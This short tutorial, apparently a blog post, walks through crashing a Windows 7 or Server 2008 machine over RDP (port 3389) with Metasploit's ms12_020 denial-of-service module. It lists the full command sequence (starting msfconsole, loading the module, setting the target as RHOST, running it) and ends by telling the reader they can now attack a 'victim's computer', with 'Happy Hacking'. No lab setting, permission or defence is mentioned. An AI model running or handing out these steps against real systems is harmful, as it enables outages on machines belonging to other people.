DOS attack on Windows 7/Server 2008 machine using Metasploit Framework.

In this tutorial we are going to learn how to perform DOS attack on windows 7 machine using metasploit framework.

Perform a port scan on the target computer using nmap

 The result confirms that target is running RDP service on port 3389.
In this practical let us perform DOS attack on port number 3389 using pre-built exploit available in the Metasploit framework.
To start Metasploit Framework and execute below commands

service postgresql start
msfconsole -q

 Search for DOS exploit by executing following command
search ms12_020

execute use <exploit code>

show options to view the exploit options

 Set the target IP address as RHOST value
set RHOST <target IP>

execute run

This causes the target system to crash (bluescreen of death)

By following the above steps you can perform DOS attack on victim's computer.
Happy Hacking:)
